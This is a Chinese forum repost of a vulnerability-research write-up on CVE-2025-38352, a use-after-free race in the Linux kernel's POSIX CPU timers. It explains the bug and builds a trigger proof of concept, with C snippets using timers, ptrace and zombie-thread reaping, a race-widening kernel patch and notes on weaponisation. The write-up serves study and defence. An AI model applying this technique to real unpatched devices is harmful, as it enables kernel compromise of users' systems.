找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

2390

积分

0

好友

342

主题
发表于 昨天 03:10 | 查看: 6| 回复: 0

CVE-2025-38352 是 Linux 内核 中 POSIX CPU 定时器实现因竞态条件导致的一个使用后释放(Use-After-Free)漏洞。根据报告,该漏洞在现实世界中已被用于有限的、有针对性的攻击。

Android安全公告CVE-2025-38352提示

安全研究人员 @streypaws 已经发布了关于该漏洞的详细分析。他们的文章清晰地阐述了 POSIX CPU 定时器的工作原理以及触发此漏洞的条件,你可以在这里阅读:https://streypaws.github.io/posts/Race-Against-Time-in-the-Kernel-Clockwork/

由于他们的分析文章没有提供触发漏洞的概念验证程序(PoC),另一位研究者决定亲自动手,将一个学习之夜投入到 PoC 的编写中。

本文将一窥该研究者分析和编写漏洞 PoC 的思路,同时也展示了这种方法对于学习新知识的价值。

PoC与补丁

如果你只想查看漏洞利用的 PoC 代码,可以在这里找到:
https://github.com/farazsth98/poc-CVE-2025-38352

相关的内核补丁提交记录在这里:
https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=f90fff1e152dedf52b932240ebbd670d83330eca

测试环境简述

内核版本

研究者使用了 LTS 内核版本 6.12.33,因为这是当时仍受此漏洞影响的最新 LTS 版本。

关于 CONFIG_POSIX_CPU_TIMERS_TASK_WORK

补丁提交记录中提到,如果启用了 CONFIG_POSIX_CPU_TIMERS_TASK_WORK 配置,则无法触发该漏洞。

@streypaws 的文章中提到他们无法关闭 CONFIG_POSIX_CPU_TIMERS_TASK_WORK 标志。这是因为该标志默认在 kernel/time/Kconfig 中被定义为内部依赖项:

config HAVE_POSIX_CPU_TIMERS_TASK_WORK
bool

config POSIX_CPU_TIMERS_TASK_WORK
bool
default y if POSIX_TIMERS && HAVE_POSIX_CPU_TIMERS_TASK_WORK

HAVE_POSIX_CPU_TIMERS_TASK_WORKarch/x86/Kconfigarch/arm64/Kconfig 中都有设置。因此,此漏洞实际上主要在未启用此配置的 32 位 Android 设备上可利用,这也解释了为什么它被描述为受到了有限的、有针对性的攻击。

为了能够在测试中关闭它,需要对 kernel/time/Kconfig 中的 POSIX_CPU_TIMERS_TASK_WORK 进行以下修改:

config POSIX_CPU_TIMERS_TASK_WORK
bool “CVE-2025-38352: POSIX_CPU_TIMERS_TASK_WORK toggle” if EXPERT
depends on POSIX_TIMERS && HAVE_POSIX_CPU_TIMERS_TASK_WORK
default y
help
For CVE-2025-38352 analysis.

修改后,可以通过 make menuconfig 切换此标志。在测试中,以 kernelCTF 的 LTS 配置为基础,仅进行了上述修改以允许关闭 CONFIG_POSIX_CPU_TIMERS_TASK_WORK。此外,还通过 make menuconfig 启用了完全抢占(在菜单中搜索 PREEMPT),因为 Android 内核默认开启此功能。

QEMU 设置

由于这是一个竞态条件漏洞,至少需要两个 CPU 才能触发。在测试中,使用了具有 4 个 CPU 的 QEMU 虚拟机:

qemu-system-x86_64 \
    -enable-kvm \
    -cpu host \
    -smp cores=4 \
# [ ... ]

漏洞原理回顾

强烈建议在继续阅读前先阅读 @streypaws 的分析文章。下文将在此基础上,补充解释如何触发它的关键信息。

每当发生每个 CPU 的调度器时钟节拍时,内核会在每个 CPU 上调用 run_posix_cpu_timers()。如果某个定时器准备就绪,此函数最终会调用 handle_posix_cpu_timers()

该漏洞具体发生的原因是,即使任务已变为僵尸状态(即任务的 tsk->exit_state 被设置为 EXIT_ZOMBIE),也允许 handle_posix_cpu_timers() 运行。

让我们快速浏览一下 handle_posix_cpu_timers() 以理解漏洞所在:

static void handle_posix_cpu_timers(struct task_struct *tsk)
{
    struct k_itimer *timer, *next;
    unsigned long flags, start;
    LIST_HEAD(firing); // Faith: 定时器的本地列表

    // Faith: 获取 tsk->sighand->siglock
    if (!lock_task_sighand(tsk, &flags))
        return;

    do {
        // [ 1 ]
        // 将所有即将触发的定时器收集到 `firing` 列表中
        check_thread_timers(tsk, &firing);
        check_process_timers(tsk, &firing);

        // [ ... ]
    } while (!posix_cpu_timers_enable_work(tsk, start));

    // Faith: 释放 tsk->sighand->siglock
    unlock_task_sighand(tsk, &flags);

    // Faith: 竞争窗口开始

    // [ 2 ]
    // Faith: 遍历 `firing` 列表并触发定时器
    list_for_each_entry_safe(timer, next, &firing, it.cpu.elist) {
        // [ ... ]
        // Faith: 在定时器访问结束后,竞争窗口结束。
    }
}

参考上面代码中的注释,并假设只有一个即将触发的定时器:

  1. 获取 tsk->sighand->siglock 后,它会收集即将触发的定时器并将其存储在本地的 firing 列表中。值得注意的是,它此时会将该定时器从任务中移除。
  2. 收集定时器后,tsk->sighand->siglock 被释放,然后函数遍历本地的 firing 列表并触发定时器。

现在,如果任务是僵尸任务,那么在 tsk->sighand->siglock 被释放后,一个竞争窗口就打开了。在这个竞争窗口内,另一个进程可以执行以下操作来释放 firing 列表中的定时器:

  1. 回收僵尸任务 - 父进程可以通过 waitpid() 完成此操作。
  2. 调用 timer_delete() 系统调用 - 这将调用 posix_cpu_timer_del() 并通过 RCU 释放定时器。

当父进程回收僵尸任务时,将对它调用 release_task(),而该函数最终会通过 __exit_signal()tsk->sighand 设置为 NULL

static void __exit_signal(struct task_struct *tsk)
{
    // [ ... ]

    sighand = rcu_dereference_check(tsk->sighand,
         lockdep_tasklist_lock_is_held());
    spin_lock(&sighand->siglock);

    // [ ... ]

    tsk->sighand = NULL; // Faith: 这里
    spin_unlock(&sighand->siglock);

    // [ ... ]
}

然后,当使用 timer_delete() 调用 posix_cpu_timer_del() 时,它会注意到 tsk->sighandNULL,并直接返回 0:

static int posix_cpu_timer_del(struct k_itimer *timer)
{
    // [ ... ]
    int ret = 0;

    // [ ... ]
    sighand = lock_task_sighand(p, &flags);
    if (unlikely(sighand == NULL)) {
        WARN_ON_ONCE(ctmr->head || timerqueue_node_queued(&ctmr->node));
    } else {
        // [ ... ]
    }

out:
    // [ ... ]
    return ret;
}

posix_cpu_timer_del() 返回 0 时,它会返回到 timer_delete() 系统调用处理程序,该处理程序将调用 posix_timer_unhash_and_free() 并释放定时器:

SYSCALL_DEFINE1(timer_delete, timer_t, timer_id)
{
    // [ ... ]
retry_delete:
    // [ ... ]
    // Faith: timer_delete_hook() 调用 posix_cpu_timer_del()
    if (unlikely(timer_delete_hook(timer) == TIMER_RETRY)) {
        /* Unlocks and relocks the timer if it still exists */
        timer = timer_wait_running(timer, &flags);
        goto retry_delete;
    }

    // [ ... ]
    posix_timer_unhash_and_free(timer);
    return 0;
}

实际的释放是通过 RCU 完成的,因此不会立即发生:

static void posix_timer_unhash_and_free(struct k_itimer *tmr)
{
    // [ ... ]
    posix_timer_free(tmr);
}

static void posix_timer_free(struct k_itimer *tmr)
{
    // [ ... ]
    call_rcu(&tmr->rcu, k_itimer_rcu_free);
}

假设所有这些都发生在上述竞争窗口内,当 handle_posix_cpu_timers() 遍历本地的 firing 列表并访问定时器时,将导致一个使用后释放漏洞:

static void handle_posix_cpu_timers(struct task_struct *tsk)
{
    // [ ... ]
    // Faith: 遍历 `firing` 列表并触发定时器
    list_for_each_entry_safe(timer, next, &firing, it.cpu.elist) {
        // [ ... ]
        // Faith: UAF 发生在这里
    }
}

PoC 构思与实现

既然我们知道了如何触发漏洞,让我们一步步规划并实现一个 PoC。

最小化的 POSIX CPU 定时器示例

首先,我们需要能够触发 handle_posix_cpu_timers()。以下是一个最小化的示例代码:

#include <time.h>
#include <signal.h>
#include <stdio.h>
#include <unistd.h>

void timer_fire(void){
    printf("Timer fired\n");
}

int main(void){
    struct sigevent sev = {0};
    sev.sigev_notify = SIGEV_THREAD;
    sev.sigev_notify_function = (void (*)(sigval_t))timer_fire;

    timer_t timer;
    int timerfd = timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &timer);
    printf("Timer created: %d\n", timerfd);

    struct itimerspec ts = {
        .it_interval = {0, 0},
        .it_value = {1, 0},
    };

    timer_settime(timer, 0, &ts, NULL);
    printf("Timer started: %d\n", timerfd);

    // 消耗CPU时间以触发定时器
    while (1);
}
  1. timer_create() 用于创建一个 POSIX CPU 定时器,当触发时会调用 timer_fire()
  2. timer_settime() 用于使定时器在当前线程消耗了 1 秒 CPU 时间后触发。

创建僵尸任务

为了理解如何将任务转换到 EXIT_ZOMBIE 退出状态,让我们查看一下 exit_notify(),当线程/进程运行完毕并退出时,会通过 do_exit() 调用:

static void exit_notify(struct task_struct *tsk, int group_dead)
{
    // [ ... ]
    LIST_HEAD(dead);

    // [ ... ]

    tsk->exit_state = EXIT_ZOMBIE; // [ 1 ]

    // [ ... ]
    // [ 2 ]
    if (unlikely(tsk->ptrace)) {
        int sig = thread_group_leader(tsk) &&
            thread_group_empty(tsk) &&
            !ptrace_reparented(tsk) ?
            tsk->exit_signal : SIGCHLD;
        autoreap = do_notify_parent(tsk, sig);
    }

    // [ ... ]
    // [ 3 ]
    if (autoreap) {
        tsk->exit_state = EXIT_DEAD;
        list_add(&tsk->ptrace_entry, &dead);
    }

    // [ ... ]
    // [ 4 ]
    list_for_each_entry_safe(p, n, &dead, ptrace_entry) {
        list_del_init(&p->ptrace_entry);
        release_task(p);
    }
}

参考上面代码中的注释:

  1. 任务的退出状态最初自动设置为 EXIT_ZOMBIE
  2. 如果任务当前正在被 ptrace 跟踪,autoreap 被设置为 do_notify_parent() 的返回值。
    • 只要父进程没有忽略 SIGCHLD 信号,do_notify_parent() 就会返回 false。
  3. 如果 autoreap 为 true,任务的退出状态将被改为 EXIT_DEAD,并被添加到本地的 dead 列表中。
  4. 遍历本地的 dead 列表,并对列表中的每个任务调用 release_task()

根据我们在上一节的分析,我们知道 release_task() 会将 tsk->sighand 设置为 NULL

由于我们实际上希望 handle_posix_cpu_timers() 能够锁定 tsk->sighand->siglock 并将我们即将触发的定时器收集到本地的 firing 列表中,我们不希望在这里立即释放任务。

因此,为了在这里创建一个僵尸任务,必须设置 tsk->ptrace,这意味着必须有一个父进程正在 ptrace 跟踪此任务。此外,父进程不得忽略 SIGCHLD 信号。

回收僵尸任务

在线程和进程的上下文中,“回收”是指完全释放和清理任务(主要是为其分配的任务结构)。最终的回收步骤通常是让内核在任务上调用 release_task()

可以通过在父跟踪器进程中调用 waitpid(zombie_task_pid, ...) 来回收僵尸任务。我们希望的调用栈如下:

do_wait()
-> __do_wait()
-> do_wait_pid()
-> wait_consider_task()
-> wait_task_zombie()
-> release_task()

成功回收僵尸任务并对其调用 release_task() 必须满足的重要条件:

  1. 只有当我们指定一个 PID(而不是 TGID、PGID 等)时,才会调用 do_wait_pid()
  2. 只有满足以下条件时,才会调用 wait_task_zombie()
    • 僵尸任务正在被 ptrace 跟踪。
    • 僵尸任务不是当前线程组的主线程(默认情况下,线程组的主线程是进程的主线程)。

为了满足上述条件,僵尸任务必须是被父进程 ptrace 跟踪的进程中的非主线程。

此外,父进程必须向 waitpid() 指定僵尸任务的线程 ID(也就是 PID),这意味着子进程必须以某种方式将线程 ID 传递给父进程。

可控地回收僵尸任务

以下 PoC 片段演示了一个父进程如何完全控制何时回收子进程中的非主线程:

#define _GNU_SOURCE
#include <stdio.h>
#include <pthread.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <err.h>
#include <sys/prctl.h>
#include <sys/syscall.h>

#define SYSCHK(x) ({            \
    typeof(x) __res = (x);      \
    if (__res == (typeof(x))-1) \
        err(1, “SYSCHK(” #x “)”); \
    __res;                      \
})

void pin_on_cpu(int i){
    cpu_set_t mask;
    CPU_ZERO(&mask);
    CPU_SET(i, &mask);
    sched_setaffinity(0, sizeof(mask), &mask);
}

pthread_t reapee_thread;
pthread_barrier_t barrier;
int c2p[2]; // 子进程到父进程
int p2c[2]; // 父进程到子进程

void reapee(void){
    pin_on_cpu(2);
    prctl(PR_SET_NAME, “REAPEE”);

    // 将此线程的线程ID发送给父进程
    pid_t tid = (pid_t)syscall(SYS_gettid);
    SYSCHK(write(c2p[1], &tid, sizeof(pid_t)));

    // 等待父进程附加
    pthread_barrier_wait(&barrier);

    return;
}

int main(int argc, char *argv[]){
    // 父进程和子进程设置
    // 使用管道在父进程和子进程之间通信
    SYSCHK(pipe(c2p));
    SYSCHK(pipe(p2c));

    pid_t pid = SYSCHK(fork());

    if (pid) {
        // 父进程
        pin_on_cpu(1);
        char m;
        close(c2p[1]);
        close(p2c[0]);

        // 接收子进程的REAPEE线程的线程ID
        pid_t tid;
        SYSCHK(read(c2p[0], &tid, sizeof(pid_t)));
        printf(“Parent: reapee thread ID: %d\n”, tid);

        // 附加到REAPEE线程并继续执行它
        printf(“Parent: attaching to REAPEE thread\n”);
        SYSCHK(ptrace(PTRACE_ATTACH, tid, NULL, NULL));
        SYSCHK(waitpid(tid, NULL, __WALL));
        SYSCHK(ptrace(PTRACE_CONT, tid, NULL, NULL));

        // 通知子进程我们已经附加并继续执行
        SYSCHK(write(p2c[1], &m, 1));

        // 现在回收REAPEE线程
        printf(“Parent: press enter to reap REAPEE thread\n”);
        getchar();
        SYSCHK(waitpid(tid, NULL, __WALL));
        printf(“Parent: detached from REAPEE\n”);

        sleep(5);
    } else {
        // 子进程
        pin_on_cpu(0);
        char m;
        close(c2p[0]);
        close(p2c[1]);

        prctl(PR_SET_NAME, “CHILD_MAIN”);
        pthread_barrier_init(&barrier, NULL, 2);
        pthread_create(&reapee_thread, NULL, (void*)reapee, NULL);

        printf(“Thread created\n”);

        // 父进程在附加并继续执行后向我们写入,使用屏障让REAPEE线程继续执行
        SYSCHK(read(p2c[0], &m, 1));
        pthread_barrier_wait(&barrier);

        pause();
    }
}

运行此代码后,可以观察到父进程能完全控制回收线程的时机。通过调试器在 release_task() 设置断点可以验证这一点。

编写完整的 PoC

现在,将上述知识结合起来,编写完整的漏洞触发 PoC。

扩展竞争窗口的内核补丁(辅助)

为了帮助更可靠地触发漏洞,研究者在 handle_posix_cpu_timers() 内部为特定线程添加了 500 毫秒的延迟以扩展竞争窗口:

static void handle_posix_cpu_timers(struct task_struct *tsk)
{
    // [ ... ]
    unlock_task_sighand(tsk, &flags);

    // Faith: 扩展竞争窗口
    if (strcmp(tsk->comm, “SLOWME”) == 0) {
        printk(“Faith: Did we win? tsk->exit_state: %d\n”, tsk->exit_state);
        mdelay(500);
    }

    // [ ... ]
}

请注意,此补丁并非触发漏洞所必需的,但在默认条件下由于竞争窗口极短(纳秒级)且 RCU 释放需要时间,使得原始漏洞极难触发。这个补丁大大增加了 PoC 的可靠性。

触发竞态条件

为了触发竞态条件,必须将 POSIX CPU 定时器的触发时机设置得恰到好处:当子进程中的非主线程退出时,必须刚好留有足够的 CPU 时间,以便内核的 do_exit() 函数可以调用 exit_notify() 并将任务转换为僵尸任务,然后定时器才触发。

然而,也不能留太多的 CPU 时间!否则,do_exit() 将完成执行并使用完它所需的所有 CPU 时间,如果定时器在此之后还需要消耗更多 CPU 时间,那么它最终将永远不会触发。

经过测试,在某些环境中,250,000 纳秒的 CPU 时间值效果很好。PoC 中通过 argv[1] 允许指定自定义的 wait_time 以便于测试。

PoC 的关键步骤如下:

  1. 父进程:创建子进程,接收子进程中目标线程的 TID,附加(ptrace)到该线程,然后在恰当时机调用 waitpid() 回收(触发 release_task())该僵尸线程。
  2. 子进程中的目标线程(SLOWME):创建一个 POSIX CPU 定时器,设置为在自定义的 wait_time 纳秒 CPU 时间后触发。然后消耗少量 CPU 并退出,使自己成为被 ptrace 跟踪的僵尸线程。
  3. 子进程主线程:在父进程回收僵尸线程后,立即调用 timer_delete() 来释放定时器。

通过精确的时间控制和进程间同步(管道、屏障),使得 handle_posix_cpu_timers()(在中断上下文中运行,并持有已释放定时器的指针)与 timer_delete()(在进程上下文中释放定时器)之间发生竞争,从而触发 Use-After-Free。

测试 PoC

  1. 使用 gcc -o poc -static poc.c 编译完整的 PoC 代码。
  2. 在虚拟机中循环运行 while true; do /poc; done

请注意,即使有辅助补丁,PoC 也不是 100% 会触发竞态条件,因此需要循环运行。在真实漏洞利用中,攻击者需要更精巧地扩大竞争窗口。

崩溃日志

  • 启用 KASAN 时,可以观察到明确的 slab-use-after-free 错误报告,指出在 posix_timer_queue_signal() 中发生了写入。
  • 禁用 KASAN 时,可以观察到 send_sigqueue() 内部的 WARN_ON_ONCE 被触发,这是 UAF 访问的间接结果。

关于 CONFIG_POSIX_CPU_TIMERS_TASK_WORK 的说明

@streypaws 的文章提到,即使在启用了 CONFIG_POSIX_CPU_TIMERS_TASK_WORK 的情况下,也可能触发此漏洞。但根据分析,实际情况并非如此。

查看 do_exit()exit_task_work() 的逻辑:它会“下毒” task->task_works 结构体,阻止任何进一步的工作在其上排队。由于该漏洞特别要求在 handle_posix_cpu_timers() 之前调用 exit_notify(),而 exit_task_work()(如果 handle_posix_cpu_timers() 被排队为任务工作,则会在此调用)发生在 exit_notify() 之前,因此在启用 CONFIG_POSIX_CPU_TIMERS_TASK_WORK 的情况下,无法触发此漏洞。这也与漏洞主要影响特定 32 位 Android 设备的描述相符。

漏洞利用前景

研究者不确定是否会为此漏洞编写完整的武器化利用,但指出了以下几点:

  1. POSIX CPU 定时器是从它们自己的 kmem_cache 分配的。
  2. struct k_itimer 结构体并不复杂,因此很可能需要进行跨缓存攻击
  3. 对于跨缓存攻击,很可能需要扩展 handle_posix_cpu_timers() 内部的竞争窗口,这本身可能就是一个挑战,因为该函数在调度器时钟节拍中断上下文中运行,此时 IRQ 被禁用。
  4. 本文的 PoC 已经提供了一个 UAF 攻击原语。从 Android 公告中提到该漏洞已被有限利用来看,它肯定是可利用的,主要需要解决上述的利用工程问题。

结论

分析和编写复杂漏洞的 PoC 是学习和进行漏洞研究的最佳方式之一。在这个实例中,研究者不仅学习了 POSIX CPU 定时器,还深入了解了 Linux 内核中任务生命周期、信号处理以及竞态条件漏洞分析的细节。

最终完整的 PoC 代码已上传至 GitHub:https://github.com/farazsth98/poc-CVE-2025-38352

欢迎在 云栈社区 交流更多内核安全与漏洞分析技术。


原文:https://faith2dxy.xyz/2025-12-22/cve_2025_38352_analysis/#final-poc




上一篇:Shell脚本自动化部署OpenVPN服务端:Ubuntu 22.04一键配置实战
下一篇:C++性能优化实践指南:从缓存、内存到数据结构的核心方法
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2026-1-18 16:49 , Processed in 0.319132 second(s), 40 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2026 云栈社区.

快速回复 返回顶部 返回列表